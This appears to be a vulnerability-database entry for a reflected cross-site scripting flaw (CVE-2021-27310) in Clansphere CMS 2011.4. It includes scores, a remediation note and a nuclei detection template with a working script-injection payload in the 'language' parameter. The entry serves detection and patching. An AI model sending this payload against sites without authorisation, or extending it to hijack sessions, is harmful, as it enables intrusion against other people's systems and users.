Clansphere CMS 2011.4 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.8%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the "language" parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/clansphere/mods/clansphere/lang_modvalidate.php?language=language%27%22()%26%25%3Cyes%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domai…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-27310 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-27310

info:
  name: Clansphere CMS 2011.4 - Cross-Site Scripting
  author: alph4byt3
  severity: medium
  description: Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the "language" parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.
  reference:
    - https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22language%22%20xss.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27310
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27310
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-27310
    cwe-id: CWE-79
    epss-score: 0.02816
    epss-percentile: 0.86663
    cpe: cpe:2.3:a:csphere:clansphere:2011.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: csphere
    product: clansphere
  tags: cve2021,cve,xss,clansphere,csphere,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/clansphere/mods/clansphere/lang_modvalidate.php?language=language%27%22()%26%25%3Cyes%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&module=module'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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